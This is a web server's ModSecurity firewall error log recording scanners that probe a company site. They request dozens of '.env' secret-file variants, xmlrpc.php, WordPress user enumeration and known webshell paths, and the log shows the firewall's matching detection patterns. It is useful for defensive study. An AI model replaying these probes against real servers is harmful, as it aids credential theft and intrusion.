[Mon May 25 09:37:14.967477 2026] [:error] [pid 62428:tid 62485] [client 54.250.248.163:41754] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "ahOnypNosGBa7mui3VS3lAAAAIE"]
[Mon May 25 09:37:15.847696 2026] [:error] [pid 62428:tid 62491] [client 54.250.248.163:57438] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "ahOny5NosGBa7mui3VS3lgAAAIc"]
[Mon May 25 09:37:16.965109 2026] [:error] [pid 62515:tid 62528] [client 54.250.248.163:57458] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "ahOnzBig0_XsOwmnrv9vuwAAAMs"]
[Mon May 25 09:37:17.889438 2026] [:error] [pid 62428:tid 62493] [client 54.250.248.163:57476] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.sample"] [unique_id "ahOnzZNosGBa7mui3VS3nwAAAIk"]
[Mon May 25 09:37:18.933443 2026] [:error] [pid 62426:tid 62448] [client 54.250.248.163:57486] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "ahOnzkj3D3Mo8ANpTRCEcwAAABI"]
[Mon May 25 09:37:19.823079 2026] [:error] [pid 62426:tid 62454] [client 54.250.248.163:57512] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "ahOnz0j3D3Mo8ANpTRCEdQAAABg"]
[Mon May 25 09:37:20.494101 2026] [:error] [pid 62426:tid 62451] [client 54.250.248.163:57534] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "ahOn0Ej3D3Mo8ANpTRCEdwAAABU"]
[Mon May 25 09:37:21.414182 2026] [:error] [pid 62515:tid 62528] [client 54.250.248.163:57550] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.stage"] [unique_id "ahOn0Rig0_XsOwmnrv9vxAAAAMs"]
[Mon May 25 09:37:22.132942 2026] [:error] [pid 62722:tid 62735] [client 54.250.248.163:57564] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.ci"] [unique_id "ahOn0qM6ssnLWYf6CVByxQAAAEs"]
[Mon May 25 09:37:23.178957 2026] [:error] [pid 62722:tid 62724] [client 54.250.248.163:57590] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "ahOn06M6ssnLWYf6CVByygAAAEA"]
[Mon May 25 09:37:24.094612 2026] [:error] [pid 62515:tid 62524] [client 54.250.248.163:57612] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.live"] [unique_id "ahOn1Big0_XsOwmnrv9vywAAAMc"]
[Mon May 25 09:37:25.204826 2026] [:error] [pid 62722:tid 62735] [client 54.250.248.163:57626] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.preprod"] [unique_id "ahOn1aM6ssnLWYf6CVBy1AAAAEs"]
[Mon May 25 09:37:25.988007 2026] [:error] [pid 62722:tid 62724] [client 54.250.248.163:54708] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.uat"] [unique_id "ahOn1aM6ssnLWYf6CVBy1wAAAEA"]
[Mon May 25 09:37:26.940086 2026] [:error] [pid 62722:tid 62743] [client 54.250.248.163:54722] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dist"] [unique_id "ahOn1qM6ssnLWYf6CVBy2wAAAFM"]
[Mon May 25 09:37:27.873650 2026] [:error] [pid 62722:tid 62732] [client 54.250.248.163:54738] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.swp"] [unique_id "ahOn16M6ssnLWYf6CVBy9AAAAEg"]
[Mon May 25 09:37:29.021688 2026] [:error] [pid 62428:tid 62504] [client 54.250.248.163:54752] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env~"] [unique_id "ahOn2ZNosGBa7mui3VS3tAAAAJQ"]
[Mon May 25 09:37:30.080841 2026] [:error] [pid 62515:tid 62530] [client 54.250.248.163:54774] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env1"] [unique_id "ahOn2hig0_XsOwmnrv9v0wAAAM0"]
[Mon May 25 09:37:31.098965 2026] [:error] [pid 62722:tid 62743] [client 54.250.248.163:54792] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env2"] [unique_id "ahOn26M6ssnLWYf6CVBzDAAAAFM"]
[Mon May 25 09:37:33.968597 2026] [:error] [pid 62722:tid 62737] [client 54.250.248.163:54810] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_copy"] [unique_id "ahOn3aM6ssnLWYf6CVBzFAAAAE0"]
[Mon May 25 09:37:35.416072 2026] [:error] [pid 62515:tid 62518] [client 54.250.248.163:54832] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.txt"] [unique_id "ahOn3xig0_XsOwmnrv9v3AAAAME"]
[Mon May 25 09:37:36.373010 2026] [:error] [pid 62722:tid 62736] [client 54.250.248.163:56580] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.json"] [unique_id "ahOn4KM6ssnLWYf6CVBzJAAAAEw"]
[Mon May 25 09:37:37.326888 2026] [:error] [pid 62722:tid 62738] [client 54.250.248.163:56602] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.yaml"] [unique_id "ahOn4aM6ssnLWYf6CVBzKAAAAE4"]
[Mon May 25 09:37:38.142254 2026] [:error] [pid 62428:tid 62485] [client 54.250.248.163:56632] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.yml"] [unique_id "ahOn4pNosGBa7mui3VS3wwAAAIE"]
[Mon May 25 09:37:39.635903 2026] [:error] [pid 62428:tid 62496] [client 54.250.248.163:56644] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "ahOn45NosGBa7mui3VS3yQAAAIw"]
[Mon May 25 09:37:40.784461 2026] [:error] [pid 62427:tid 62472] [client 54.250.248.163:56658] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/apps/.env"] [unique_id "ahOn5PMUa83fc4GDyBwIlgAAAU8"]
[Mon May 25 09:37:41.670571 2026] [:error] [pid 62515:tid 62538] [client 54.250.248.163:56688] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "ahOn5Rig0_XsOwmnrv9v4QAAANU"]
[Mon May 25 09:37:42.397976 2026] [:error] [pid 62426:tid 62436] [client 54.250.248.163:56716] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/web/.env"] [unique_id "ahOn5kj3D3Mo8ANpTRCEgQAAAAY"]
[Mon May 25 09:37:43.231088 2026] [:error] [pid 62722:tid 62746] [client 54.250.248.163:56722] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/site/.env"] [unique_id "ahOn56M6ssnLWYf6CVBzKwAAAFY"]
[Mon May 25 09:37:44.581367 2026] [:error] [pid 62515:tid 62540] [client 54.250.248.163:56736] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "ahOn6Big0_XsOwmnrv9v5QAAANc"]
[Mon May 25 11:39:39.772357 2026] [:error] [pid 62428:tid 62492] [client 43.164.196.244:50928] [client 43.164.196.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahPEe5NosGBa7mui3VTaTQAAAIg"]
[Mon May 25 12:13:07.008854 2026] [:error] [pid 62722:tid 62739] [client 43.167.232.38:34610] [client 43.167.232.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahPMU6M6ssnLWYf6CVC6ugAAAE8"]
[Mon May 25 14:55:28.329319 2026] [:error] [pid 3698:tid 3713] [client 196.189.127.183:43963] [client 196.189.127.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.127.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahPyYAtZBEwA4fyFLKOdVQAAAQ0"]
[Mon May 25 14:55:35.796632 2026] [:error] [pid 62515:tid 62537] [client 196.189.127.183:38615] [client 196.189.127.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.127.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahPyZxig0_XsOwmnrv_afAAAANQ"]
[Mon May 25 14:55:46.629207 2026] [:error] [pid 62515:tid 62521] [client 196.189.127.183:29087] [client 196.189.127.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.127.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahPychig0_XsOwmnrv_ahQAAAMQ"]
[Mon May 25 14:55:57.236077 2026] [:error] [pid 62515:tid 62526] [client 196.189.127.183:43253] [client 196.189.127.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.127.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahPyfRig0_XsOwmnrv_aiQAAAMk"]
[Mon May 25 14:56:07.977922 2026] [:error] [pid 62427:tid 62470] [client 196.189.127.183:42107] [client 196.189.127.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.127.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahPyh_MUa83fc4GDyBxO9QAAAU0"]
[Mon May 25 17:08:54.422204 2026] [:error] [pid 3698:tid 3708] [client 82.156.116.86:55130] [client 82.156.116.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahQRpgtZBEwA4fyFLKPMhQAAAQg"]
[Mon May 25 18:35:31.809896 2026] [:error] [pid 62722:tid 62728] [client 43.131.45.213:45226] [client 43.131.45.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahQl86M6ssnLWYf6CVA6QAAAAEQ"]
[Mon May 25 20:55:34.956007 2026] [:error] [pid 62722:tid 62729] [client 45.121.88.60:32782] [client 45.121.88.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.121.88.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahRGxqM6ssnLWYf6CVBNNAAAAEU"]
[Mon May 25 20:59:11.998006 2026] [:error] [pid 62428:tid 62503] [client 45.121.88.60:45831] [client 45.121.88.60] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ahRHn5NosGBa7mui3VRfGAAAAJM"]
[Mon May 25 21:00:23.653794 2026] [:error] [pid 62428:tid 62494] [client 45.121.88.60:37395] [client 45.121.88.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.121.88.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahRH55NosGBa7mui3VRfcAAAAIo"]
[Mon May 25 21:20:15.970283 2026] [:error] [pid 62426:tid 62443] [client 43.134.111.142:60956] [client 43.134.111.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahRMj0j3D3Mo8ANpTRAI9AAAAA0"]
[Mon May 25 23:11:46.380739 2026] [:error] [pid 62722:tid 62743] [client 119.45.7.86:52912] [client 119.45.7.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahRmsqM6ssnLWYf6CVBfJQAAAFM"]
[Mon May 25 23:12:08.500373 2026] [:error] [pid 62515:tid 62518] [client 194.5.82.49:46907] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahRmyBig0_XsOwmnrv9okgAAAME"]
[Mon May 25 23:12:08.712542 2026] [:error] [pid 62722:tid 62738] [client 194.5.82.13:53409] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ahRmyKM6ssnLWYf6CVBfNwAAAE4"]
[Mon May 25 23:12:08.995144 2026] [:error] [pid 53791:tid 53794] [client 194.5.82.32:20443] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/edit-tags.php"] [unique_id "ahRmyCCRhhNTD40Nf1U3oQAAAYE"]
[Mon May 25 23:12:09.207528 2026] [:error] [pid 62428:tid 62499] [client 194.5.82.53:29743] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ahRmyZNosGBa7mui3VR7TgAAAI8"]
[Mon May 25 23:12:09.502522 2026] [:error] [pid 62428:tid 62495] [client 194.5.82.21:38709] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wpx/"] [unique_id "ahRmyZNosGBa7mui3VR7UAAAAIs"]
[Mon May 25 23:12:09.715748 2026] [:error] [pid 62722:tid 62747] [client 194.5.82.10:46561] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/Nxploited/Nx.php"] [unique_id "ahRmyaM6ssnLWYf6CVBfOAAAAFc"]
[Mon May 25 23:12:09.930366 2026] [:error] [pid 62722:tid 62727] [client 194.5.82.49:50629] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "ahRmyaM6ssnLWYf6CVBfOQAAAEM"]
[Mon May 25 23:12:10.172987 2026] [:error] [pid 62427:tid 62474] [client 194.5.82.17:45413] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "ahRmyvMUa83fc4GDyByPqwAAAVE"]
[Mon May 25 23:12:10.386567 2026] [:error] [pid 62427:tid 62458] [client 194.5.82.20:40403] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ahRmyvMUa83fc4GDyByPrQAAAUE"]
[Mon May 25 23:12:10.603094 2026] [:error] [pid 3698:tid 3718] [client 194.5.82.165:22829] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ahRmygtZBEwA4fyFLKMJdAAAARI"]
[Mon May 25 23:12:10.817908 2026] [:error] [pid 62428:tid 62486] [client 194.5.82.42:65519] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "ahRmypNosGBa7mui3VR7UQAAAII"]
